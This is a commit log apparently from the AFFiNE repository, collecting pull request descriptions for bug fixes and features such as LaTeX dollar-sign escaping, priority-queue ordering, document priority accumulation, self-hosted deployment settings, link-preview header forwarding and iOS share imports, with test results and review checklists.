Fixes #15588. ## Root cause `preprocessLatex` escapes any `$` that is followed by a digit, assuming it is a price: ```ts // Escape dollar signs that are likely currency indicators preprocessedContent = preprocessedContent.replace(/\$(?=\d)/g, '\\$'); ``` The step above it shields existing LaTeX from that escape — but only `$$…$$`, `\[…\]` and `\(…\)`. **Single-dollar inline math was never protected.** So for `$4\vee 6=12$`: 1. the protection pass does not match it, 2. the currency pass sees `$4` and rewrites it to `\$4`, 3. the expression never parses as math, and the closing `$` is left orphaned, which throws off the parse of everything after it. That last part is why a single such expression breaks the rest of the document, as the report describes. It also explains the reporter's `{ }` workaround: `${4}` is `$` followed by `{`, not a digit, so the escape never fires. ## The fix Protect single-dollar inline math too, using the usual rule for telling math from prices: - the opening `$` is not followed by whitespace, - the closing `$` is not preceded by whitespace, - the closing `$` is not followed by a digit. ```ts /(\$\$[\s\S]*?\$\$|\\\[[\s\S]*?\\\]|\\\(.*?\\\)|\$(?!\s)[^\n$]*?(?<!\s)\$(?!\d))/g ``` Currency is unaffected, which is the part worth checking: - `costs $5 and $10 today` — the only closing candidate is the `$` before `10`, and it is preceded by a space, so no match; both escape as before. - `$100$200` — the closing candidate is followed by `2`, so no match; both escape as before. - `it costs $5.00 total` — no closing `$` at all. `$$…$$` stays first in the alternation, so display math is still matched as display math. ## Verification New `blocksuite/affine/all/src/__tests__/adapters/latex-preprocessor.unit.spec.ts`, 11 cases: the digit-first expressions from the issue, the currency cases above, and guards for display math, a `$` followed by whitespace, `\(…\)` rewriting, and code spans. Reverting **only** the regex (keeping the export so the module still loads) fails exactly the four digit-first tests and leaves the other seven green: ``` × leaves binary operators untouched × leaves relation untouched × leaves single digit untouched × keeps every expression in a sentence mixing math and prose Tests 4 failed | 7 passed (11) ``` That the currency and existing-behaviour cases pass **without** the fix is the point — they are regression guards, not props for it. With the fix: ``` Test Files 14 passed (14) Tests 234 passed (234) ``` (the whole `blocksuite/affine/all` suite, which includes the 193 existing adapter tests). ## Notes - `preprocessLatex` is now exported so the delimiter rule can be tested directly. It was previously module-private with only the extension exported; `adapters/markdown/index.ts` already does `export * from './preprocessor.js'`, so nothing else changed. - I kept the change to the one regex and did not reformat the rest of the file — there is no Prettier config in the repo, and running Prettier with its defaults rewrites quotes and trailing commas across the whole file. - The lookbehind `(?<!\s)` is ES2018; the file already targets modern runtimes. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved Markdown LaTeX preprocessing for inline expressions preceded by even-length backslash runs. - Continued to distinguish escaped dollar signs from valid math delimiters, while preserving currency values, display math, `\( \)` expressions, whitespace, mixed content, and code spans. - **Tests** - Added comprehensive coverage for inline and display math, delimiter escaping, currency values, whitespace, conversions, mixed content, digit-leading expressions, and code-span protection. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
82f8ada972 |
fix(latex): do not re-escape a dollar that is already escaped (#15602)
## Description Split out of #15596 on review feedback — this is an independent, pre-existing bug in the currency pass, so it does not belong in that PR. The currency pass escapes any `$` followed by a digit without looking at what precedes it: ```ts preprocessedContent = preprocessedContent.replace(/\$(?=\d)/g, '\\$'); ``` When the dollar is **already escaped**, that turns an odd backslash run even: ``` input: \$4 (an escaped dollar — the author wants a literal "$4") output: \\$4 (a literal backslash, then an unescaped `$`) ``` `MarkdownPreprocessorManager.process` runs this before `_markdownToAst`, so remark-math sees that bare `$` and can take it as an active delimiter — the opposite of what escaping it was for. ### The fix Escape only a dollar whose preceding backslash run is **even**, keeping the run itself: ```ts preprocessedContent = preprocessedContent.replace( /(?<!\\)((?:\\\\)*)\$(?=\d)/g, '$1\\$' ); ``` `(?<!\\)` anchors the run to its start and `((?:\\\\)*)` takes backslashes in pairs, so an odd run never matches. Behaviour that was already correct is untouched: | input | before | after | |---|---|---| | `costs $5 today` | `costs \$5 today` | unchanged | | `costs \\$4 today` (even run — literal `\` then a real `$`) | `costs \\\$4 today` | unchanged | | `costs \$4 today` (odd run — already escaped) | `costs \\$4 today` | **`costs \$4 today`** | ### Relationship to #15596 Both touch this file, so whichever lands second will need a trivial rebase: - Both add `export` to `preprocessLatex` (the same one-word change). - They edit **different** statements — #15596 changes the *protection* regex above, this one changes the *currency* regex below. - Test files are deliberately named differently (`latex-preprocessor.unit.spec.ts` there, `latex-currency-escape.unit.spec.ts` here) so they do not collide. Happy to fold them into one file once both are in, if you'd prefer that. I verified this bug is not introduced by #15596: `\$4` preprocesses to `\\$4` identically with and without that branch. ## Checklist - [ ] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [x] Tests are added or updated where it makes sense - [x] `yarn lint` and `yarn typecheck` pass locally - [x] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [x] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. ### Notes on the checklist - **CLA:** not signed yet — the repository owner is signing it; the `license/cla` check will go green once that happens. - **Tests:** 7 cases in `latex-currency-escape.unit.spec.ts`. Reverting only the regex fails exactly the three already-escaped cases and leaves the four guards (plain price, bare amount, two prices, even run) green — they are regression guards, not props. Full `blocksuite/affine/all` suite: 230 passing. - **Lint/format:** `oxlint --deny-warnings` and `oxfmt --check` are both clean on the two changed files. - **Typecheck:** clean for these files. For transparency, a full `yarn typecheck` on my machine also reports pre-existing `@prisma/client` errors under `packages/backend/server`; those come from my installing with `--mode=skip-build` (so `prisma generate` never ran) and are unrelated to this change. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved LaTeX handling for currency values by escaping dollar signs only when required. - Preserved already-escaped dollar signs and backslash sequences correctly. - **Tests** - Added coverage for plain currency amounts, already-escaped dollar signs, and even backslash runs. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
f26301a9fb |
fix(editor): improve code language search and prevent stale highlighting (#15593)
## Summary - Search language IDs, display labels, and aliases case-insensitively, preserving prefix matching and the existing result order. - Ignore pending grammar-load results when the selected language has changed, preventing highlighting from returning after switching to Plain Text. Related to #15492: display-label matching will also make “Plain Text” searchable by its full name, while the highlighting fix prevents pending language loads from restoring highlighting after switching to Plain Text. ## Validation Code-block E2E suite (7 passed), scoped TypeScript checks, lint, and formatting checks passed. Both focused regression tests fail on unmodified `canary` and pass with the fixes. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Code block language search now matches display names, IDs, aliases, and labels without regard to letter case. - Search results prioritize matches at the beginning of language names and aliases over label-only matches. - **Bug Fixes** - Prevented outdated syntax highlighting from appearing after a code block language is changed or cleared while loading. - Prevented duplicate language-loading requests during concurrent highlighting updates. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com> Co-authored-by: DarkSky <darksky2048@gmail.com> |
||
|
|
fb515c6d79 |
fix(server): migrate legacy user info (#15621)
#### PR Dependency Tree * **PR #15621** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved payment and customer portal reliability when Stripe customer records already exist. - Existing legacy customer records are now recognized and associated with the correct account context. - Prevented customer records from being used across incompatible account contexts. - Preserved the existing error behavior when no customer record is available. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
19ed4226f0 |
fix(editor): add Plain Text option to language selector dropdown (#15492)
**Problem:** When a language was selected in a code block's language
dropdown, there was no way to reset it back to "Plain Text" (no syntax
highlighting). The dropdown only contained shiki languages, and the null
value representing Plain Text had no corresponding selectable option.
**Solution:** Added a "Plain Text" entry as the first item in the
language selector dropdown. This entry:
- Maps to language: null when selected
- Shows a checkmark when Plain Text is active
- Persists in localStorage alongside recently used languages
- Is searchable via aliases ("plain", "text", "none")
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added Plain Text as a selectable code block language.
* Plain Text is available in newly generated and previously saved
language lists.
* Code blocks correctly show Plain Text when no language is selected.
* Recognizes common names including “plain,” “text,” “plaintext,” “txt,”
and “none.”
* **Tests**
* Added coverage for switching between Rust and Plain Text.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v2026.9.19-canary.908
|
||
|
|
368e62d895 |
fix: redirect link (#15615)
#### PR Dependency Tree * **PR #15615** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Checkout success links are now safely normalized before being sent to the payment provider. - Relative callback paths are converted into valid absolute URLs. - Empty or missing success callbacks now return customers to the default application page. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
17a9c3c4c5 |
fix: missing features (#15614)
#### PR Dependency Tree * **PR #15614** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - OAuth availability now reflects whether active OAuth providers are configured. - Payment functionality now automatically follows the payment enablement setting, including configuration changes. - Subscription plan settings now validate required Pro and Team pricing before displaying plans. - **Bug Fixes** - Added a retry option when plan pricing cannot be loaded or validated. - Improved invitation notification handling to ensure notifications appear reliably after inviting a workspace member. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.18-canary.909 |
||
|
|
2af30773ae |
feat(ios): add stable Share Extension imports (#15547)
## Summary The changes below are prepared locally and have not been committed or pushed. - Save original URLs, user titles, selected text, images and PDFs through a versioned, file-backed Share Inbox. Stable document/attempt IDs, serialized imports and committed receipts make retries preserve user edits and recover native completion. - Keep rich previews transient. Share previews request transcript excerpts, clip optional display fields and bound response/image downloads. Saving does not wait for preview requests or persist provider metadata, transcript snapshots or dedicated preview blobs. - Restore the minimal App Group workspace-mode snapshot and `official`/`deferred` route. Official routes remain fixed for the pending share; deferred self-hosted previews use the selected server without a provider fallback. - Let bookmark and YouTube details read the current workspace's Link Preview API by URL. Full transcripts, chapters and timestamps load on expansion without document writes. Reuse editor styles and the existing portal for canvas details; isolate endpoint/base/transcript caches and keep transcript results out of persistent cache. ## Validation - Focused frontend suites: 128 tests passed; the 43 preview/details cases also passed after the final portal change. - `ShareInboxSafetyTests`: 57 tests passed on iOS 26.5 simulator. - `yarn typecheck` and full `yarn lint` passed. - iOS web bundle, Capacitor asset copy, and signed simulator App build with embedded ShareExtension passed. - Browser component checks: desktop, narrow viewport, light/dark themes, full transcript scrolling, canvas portal positioning and Escape dismissal. - Simulator Safari share: rich preview, cancellation, native-to-app handoff, workspace selection and successful save. The pending manifest contained original content and routing only, and was removed after import. Physical-device and network-capture matrices remain manual. The simulator YouTube iframe displayed player error 153; this is separate from the successful preview/import checks and video playback is not claimed as verified. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * iOS sharing now supports PDF files alongside images, with previews and attachment validation. * Share imports offer improved workspace selection, offline handling, retry recovery, and clearer error messages. * Link previews can display expandable metadata and transcript details for bookmarks and YouTube embeds. * Share inbox entries now identify unsupported versions and provide safer attachment resolution. * **Bug Fixes** * Improved cancellation, cleanup, and stale-request handling during sharing and importing. * Enhanced link-preview validation and protection against oversized or invalid responses. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: DarkSky <darksky2048@gmail.com>v2026.9.15-canary.909 |
||
|
|
868acf8505 |
fix(nbstore): accumulate overlapping doc priority requests (#15595)
## Description While reading `DocSyncPeer.addPriority` I noticed the fix from #15338 (commit `cd6593c6`) was applied to only one of the three near-identical copies of that method in `nbstore`. The two others still carry the pre-#15338 code: - `DocFrontend.addPriority` — `packages/common/nbstore/src/frontend/doc.ts` - `IndexerSyncStatus.addPriority` — `packages/common/nbstore/src/sync/indexer/index.ts` Both write the incoming priority over whatever was stored: ```ts const oldPriority = this.prioritySettings.get(id) ?? 0; this.prioritySettings.set(id, priority); // overwrites this.jobDocQueue.setPriority(id, oldPriority + priority); // adds ``` The two lines already disagree with each other, and the release callback returned by the method *subtracts* `priority` from the current value, so it only makes sense if the forward path adds. The result is that overlapping priority requests for the same doc don't stack, and releasing one of them drops the doc to zero instead of back to the level the remaining holder asked for. That overlap is reachable from the UI. `WorkspaceEngine.doc` is a `DocFrontend` (`entities/engine.ts` → `client.docFrontend`), and two call sites add +10 to the same `pageId`: `detail-page-wrapper.tsx` and `peek-view/view/utils.ts`. Open a doc, peek the same doc, close the peek view, and the still-open doc is left at priority 0 — behind every other queued doc. The indexer has the same pair: the navigation panel node and the doc-summary store both add +10 to the same `docId`. The fix is the same shape as #15338 — compute `newPriority` / `restoredPriority` once and use it for both the map and the queue. ### Test `doc priority requests accumulate` in `packages/common/nbstore/src/__tests__/frontend.spec.ts`. Two holders take +10 on `high` and one of them releases; `low` sits at +5; both load jobs are queued before `start()` so the queue priority alone decides the load order, which the test reads by spying on `storage.getDoc`. On `canary` it fails: ``` FAIL packages/common/nbstore/src/__tests__/frontend.spec.ts > doc priority requests accumulate AssertionError: expected [ 'low', 'high' ] to deeply equal [ 'high', 'low' ] ``` With the fix, the whole package is green (`yarn vitest run packages/common/nbstore`: 16 files, 86 tests). ## Checklist - [x] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [x] Tests are added or updated where it makes sense - [x] `yarn lint` and `yarn typecheck` pass locally - [x] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [x] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. AI tools used <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved priority handling for document loading and indexing so multiple priority requests accumulate correctly. * Ensured queued work consistently reflects remaining priority requests after individual requests are released. * High-priority documents and indexing tasks are now processed ahead of lower-priority work as expected. * **Tests** * Added coverage validating accumulated priority behavior for document loading and index crawling. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.13-canary.928 |
||
|
|
cfda4858d5 |
fix(native): mac client icon refresh (#15578)
#### PR Dependency Tree * **PR #15578** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Added macOS application icon capture for media sources. - Captured icons are resized and provided as PNG images for consistent display. - **Bug Fixes** - Updated native component compatibility checks to recognize the latest supported native package version. - Improved reliability when retrieving application icons, including graceful handling when icon data is unavailable. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.10-canary.909 |
||
|
|
51fdf602ba |
feat(core): adapt new lifecycle (#15575)
fix #15574 #### PR Dependency Tree * **PR #15575** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit ## New Features * Added source-aware blob handling for current documents and page history. * Added document lifecycle support for trashing, restoring, and permanently deleting documents. * Copilot attachments now upload directly to session attachment endpoints. ## Bug Fixes * Document actions now complete before confirmations, notifications, and navigation proceed. * Improved cancellation, upload fallback, size-limit handling, and cloud synchronization reliability. * Invite-link expiration now remains reliable for long durations. * Improved synchronization for document permissions and reserved documents. ## Changes * Blob management now displays attachment icons instead of image previews. * Cloud synchronization now uses a unified batch protocol. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
b5556f12d8 |
fix(editor): preserve expanded headings in readonly mode (#15549)
## Description Closes #13579. On readonly shared pages, selecting text under a heading persisted as collapsed caused reactive selection handling to restore the persisted collapsed value over the viewer-local expanded state. This closed the heading again and prevented selecting or copying its revealed content. This change: - separates persisted collapsed-state synchronization from selection cleanup; - makes the readonly-local collapsed state reactive for both BlockSuite effects and Lit rendering; - preserves selection and copying while a readonly heading is locally expanded; - still clears hidden text selection when the heading is collapsed again; - adds a Playwright regression covering collapse → readonly → expand → drag-select → copy → re-collapse. ## Checklist - [x] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [x] Tests are added or updated where it makes sense - [x] `yarn lint` and `yarn typecheck` pass locally ## Testing - Focused Chromium regression: 1 passed - Adjacent readonly paragraph scenarios: 3 passed - Targeted `oxfmt --check`: passed - Targeted `oxlint --deny-warnings`: passed - `git diff --check`: passed `yarn typecheck` could not be confirmed in this checkout because required generated workspace declaration outputs are missing. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved collapsed heading behavior in read-only mode. * Preserved local heading expansion and text selection when copying content and collapsing the heading. * Ensured local expansion state resets correctly when switching out of and back into read-only mode. * **Tests** * Added coverage for read-only heading expansion, keyboard copying, clipboard access, mode switching, and text selection. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.9-canary.909 |
||
|
|
8c5937111b |
feat(server): migrate legacy impl (#15571)
#### PR Dependency Tree * **PR #15571** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Added Copilot session attachments, scoped access controls, personal-workspace support, and automatic title generation. - Added self-hosted license compatibility, license portal access, and external license-key configuration. - Added reservation-based storage uploads and workspace storage reconciliation. - Added permissions for previews, history, analytics, moderation, and workspace storage. - **Changes** - Removed the admin queue dashboard and queue-based background processing. - Updated blob, comment-attachment, payment, and calendar synchronization workflows. - Improved redirect validation, preview indexing, and synchronization error reporting. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
b4331cbe1e |
fix(editor): compare right child against the correct node in priority queue (#15568)
## Description `PriorityQueue.bubbleDown` compares `swap` against `null`, but `swap` is initialized to `-1` (`priority-queue.ts:19`), and the loop's own exit check uses `swap === -1` (`:43`). So `swap === null` is always false and `swap !== null` always true: the right child is only ever compared with the left child, never with the element being sunk. A node can sink below a child larger than itself, breaking the heap invariant. Randomized check on the current code: 394 of 20,000 random heaps dequeue out of order. Smallest reproducer is 7 elements — `[1, 2, 3, 7, 6, 5, 4]` dequeues as `[1, 2, 3, 5, 4, 6, 7]`. The queue backs `AStarRunner` (`a-star.ts:4`, its only consumer), which routes orthogonal connectors via `ConnectorPathGenerator.updatePath` — edgeless connector re-routing, mindmap rendering, and auto-complete. The A* heuristic is admissible, so a path is still produced; the effect is that nodes are expanded in the wrong order, so the shortest / fewest-bends guarantee is lost rather than the connector breaking. ### Why this needed a config change too The package's `vitest.config.ts` was dropped in the #10702 package reorg and never recreated at `blocksuite/affine/blocks/surface/`, so `vitest` collects none of its six test files: ``` $ yarn vitest run blocksuite/affine/blocks/surface/src/__tests__/priority-queue.unit.spec.ts No test files found, exiting with code 1 ``` They have not run since 2025-03-08, which is why this survived. Restoring the config re-enables all six files (40 tests, all passing) so the regression test added here actually guards the fix. Verified by reverting the one-line fix with the config in place: ``` FAIL should not sink a node past children that are all larger than it expected [1,2,3,5,4,6,7] to deeply equal [1,2,3,4,5,6,7] FAIL should dequeue in ascending order regardless of insertion order Tests 2 failed | 38 passed (40) ``` ## Checklist - [x] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [x] Tests are added or updated where it makes sense - [x] `yarn lint` and `yarn typecheck` pass locally - [x] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [x] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Corrected priority queue ordering behavior to ensure items are dequeued in ascending order across insertion sequences. - **Tests** - Added coverage for priority queue behavior when comparing nodes with two larger child values. - Added automated test configuration and coverage reporting for the surface components. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.8-canary.909 |
||
|
|
d6be85eaae |
feat: converage native module (#15570)
<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added expanded authentication options, including password, magic-link, OAuth, session management, and CAPTCHA verification. * Added team licensing, subscription billing, payment-provider integrations, and entitlement management. * Added authorized blob browsing, streaming, storage reservations, seat management, and quota visibility. * Added document lifecycle actions, comments, publishing, history recovery, and enhanced permission controls. * Added safer redirect handling and improved search projection recovery. * **Bug Fixes** * Improved authorization, storage consistency, payment recovery, and cross-instance cache invalidation. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
62c38b95ba |
fix(selfhost): set correct deployment type for services (#15566)
## Description
`.docker/selfhost/compose.yml` never sets `DEPLOYMENT_TYPE`, and the
Node and Rust layers disagree about what that means.
The Node side defaults to self-hosted outside development
(`packages/backend/server/src/env.ts:97-100`). The native runtime reads
the same variable straight from the process environment and falls back
to the opposite value
(`packages/backend/native/src/runtime/config.rs:474`):
```rust
fn deployment_from_env() -> Deployment {
if env::var("DEPLOYMENT_TYPE").as_deref() == Ok("selfhosted") {
Deployment::SelfHosted
} else {
Deployment::Cloud
}
}
```
The only process.env.DEPLOYMENT_TYPE assignments in
packages/backend/server/src are in tests and
.github/deployment/node/Dockerfile sets no default.
As a result:
* `custom_endpoint_mode` resolves to `unavailable` rather than
`disabled`/`enabled`, so `allowCustomEndpoint` in `config.json` is
silently ignored (`llm/byok/policy.rs:54`).
* The `SelfHosted && !byok_enabled` guard never fires, and
managed-provider routing is offered on an instance with no managed
access (`llm/route/policy.rs:76`, `:109`).
* Self-hosted instances get the cloud new account delay
(`rolling_quota/workspace_invite_policy.rs:194`).
The BYOK policy matrix test already pins the intended self-hosted
behavior that a default Compose deployment never reaches
(`llm/byok/policy.rs:210-212`):
```text
(Deployment::Cloud, false, false, "unavailable", false),
(Deployment::Cloud, true, true, "unavailable", false),
(Deployment::SelfHosted, false, true, "disabled", false),
(Deployment::SelfHosted, true, false, "enabled", true),
```
## Alternative considered
Changing `deployment_from_env()` to default to `SelfHosted` would repair
existing deployments without requiring users to edit their Compose
configuration, and may ultimately be the better fix. Happy to switch if
preferred.
## Checklist
- [x] I have signed the [AFFiNE Contributor License
Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required
before merge; the `license/cla` check must be green ([how it
works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first))
- [x] The PR targets the `canary` branch and its title follows
[Conventional Commits](https://www.conventionalcommits.org/)
- [ ] Tests are added or updated where it makes sense
- [x] `yarn lint` and `yarn typecheck` pass locally
- [ ] If the PR code includes AI-generated edits, I have carefully
reviewed it to ensure that the scope of the PR is consistent with what
is claimed in the title and description, and that there are no redundant
or invalid implementations.
- [x] I agree that maintainers may close the PR without discussion if
they consider the code quality to be too low.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Self-hosted deployments now identify their deployment type for both
the server and migration services.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
v2026.9.6-canary.907
|
||
|
|
2365c36557 |
fix(server): stop forwarding Accept-Encoding in worker link-preview/image-proxy (#15560)
## Description Self-hosted AFFiNE's `/api/worker/link-preview` and `/api/worker/image-proxy` endpoints forward the requesting browser's `Accept-Encoding` header to whatever URL they fetch (`cloneHeader()`), but the underlying native `safeFetch` never decompresses the response before parsing it. Sites that gzip/brotli-compress their HTML (GitHub does, for any non-trivially-sized repo page) end up handing AFFiNE compressed bytes, which the HTMLRewriter meta-tag scraper silently reads as nothing. The result: link preview cards render with no image, title, or description. **Fix:** drop `Accept-Encoding` from the headers forwarded in `cloneHeader()`, so upstream requests are implicitly identity-encoded and the response body stays uncompressed for the parsing that follows. **Before** <img width="641" height="335" alt="image" src="https://github.com/user-attachments/assets/8ec8a925-6a1f-422a-9cb0-5e1687a5f75e" /> **After** <img width="659" height="323" alt="image" src="https://github.com/user-attachments/assets/c35002b5-43c1-4f8b-a4c2-20028f1e453a" /> ## Checklist - [x] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [x] Tests are added or updated where it makes sense - [x] `yarn lint` and `yarn typecheck` pass locally - [x] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [x] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Prevented `Accept-Encoding` headers from being forwarded when processing worker link-preview and image-proxy requests. * Improved request handling to avoid passing client compression preferences to external fetch targets. * **Tests** * Added end-to-end coverage confirming that `Accept-Encoding` is excluded from forwarded requests. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.9.3-canary.909 |
||
|
|
f78e46f90e |
feat: add select all action to trash (#15556)
<img width="284" height="132" alt="image" src="https://github.com/user-attachments/assets/a11f1919-ac91-4f87-b03d-4fab6e8cba7e" /> ## Description Add a select-all action next to the Trash page title after document multi-selection starts. - Select every unique document ID from the explorer groups, including items outside the rendered viewport. - Change the action to Clear selection when every Trash document is selected. - Reuse the existing Trash bulk-operation permissions without introducing artificial grouping. ## Testing - Trash page Playwright E2E: 2 passed - Targeted TypeScript project build - lint-staged - lint:ox - oxfmt --check - git diff --check ## Checklist - [x] I have signed the AFFiNE Contributor License Agreement - [x] The PR targets the canary branch and its title follows Conventional Commits - [x] Tests are added or updated where it makes sense - [ ] Full yarn lint and yarn typecheck pass locally <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Added a select-all and clear-selection control to the Trash view when multiple documents can be managed. - Select-all actions now update the document selection toolbar. - **Bug Fixes** - Improved Trash view controls for users with administrator or owner permissions. - **Tests** - Added end-to-end coverage for selecting, selecting all, and clearing multiple trashed documents. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
ea0e477033 |
chore(docs): update pr templates
Added additional checklist items for PR submissions regarding AI-generated edits and code quality agreement. |
||
|
|
4953682779 |
feat(server): support switching accounts when accepting an invitation (#15542)
#### PR Dependency Tree * **PR #15542** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **New Features** - Invitation links now require sign-in to view or accept. - Added guidance when an invitation belongs to a different account, with options to switch accounts or return to AFFiNE. - Sign-in preserves the invitation link when switching accounts. - **Bug Fixes** - Invitation errors now display accurate messages instead of generic errors. - Improved handling of expired, invalid, and missing invitations. - Invitation status checks now work correctly for authenticated invitees. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.8.28-canary.1251 |
||
|
|
6fc5d82f1d |
fix: restrict email invite metadata lookup (#15150)
## Summary This change restricts email invitation metadata lookup to the authenticated user that the invitation was issued to. ## Impact The public invite-info resolver returns workspace, owner, invitee, and status details for a valid invitation identifier. For email invitations, that information should only be returned to the intended recipient after authentication. ## Fix - Keep existing link-invitation behavior unchanged. - For email invitations, require an authenticated user whose id matches the invitation recipient before returning invitation details. - Return the existing invalid-invitation error for mismatched or unauthenticated access. ## Validation - `git diff --check` - Full test/lint suite was not run locally because dependencies are not installed in this checkout. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Tightened invitation access checks so non-link invites are only readable by the intended recipient. * Invalid or missing user context now returns an error earlier, preventing access to invite details when the invitation doesn’t match. <!-- end of auto-generated comment: release notes by coderabbit.ai --> Signed-off-by: failsafesecurity <190101117+failsafesecurity@users.noreply.github.com> Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com> |
||
|
|
b6de0ad51b |
feat(ios): improve share preview (#15538)
#### PR Dependency Tree * **PR #15538** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added rich link previews to mobile and iOS sharing, including images, metadata, transcripts, and selected text. * Share imports can now create structured content blocks, embeds, bookmarks, and transcript callouts. * Added workspace-aware preview handling for cloud, self-hosted, and signed-out modes. * **Accessibility** * Improved collapse/expand controls with semantic buttons and ARIA relationships. * **Bug Fixes** * Enhanced URL and error sanitization in server logs. * Improved link-preview CORS support, validation, and request handling. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
329839e467 |
feat(ios): add share to support (#15340)
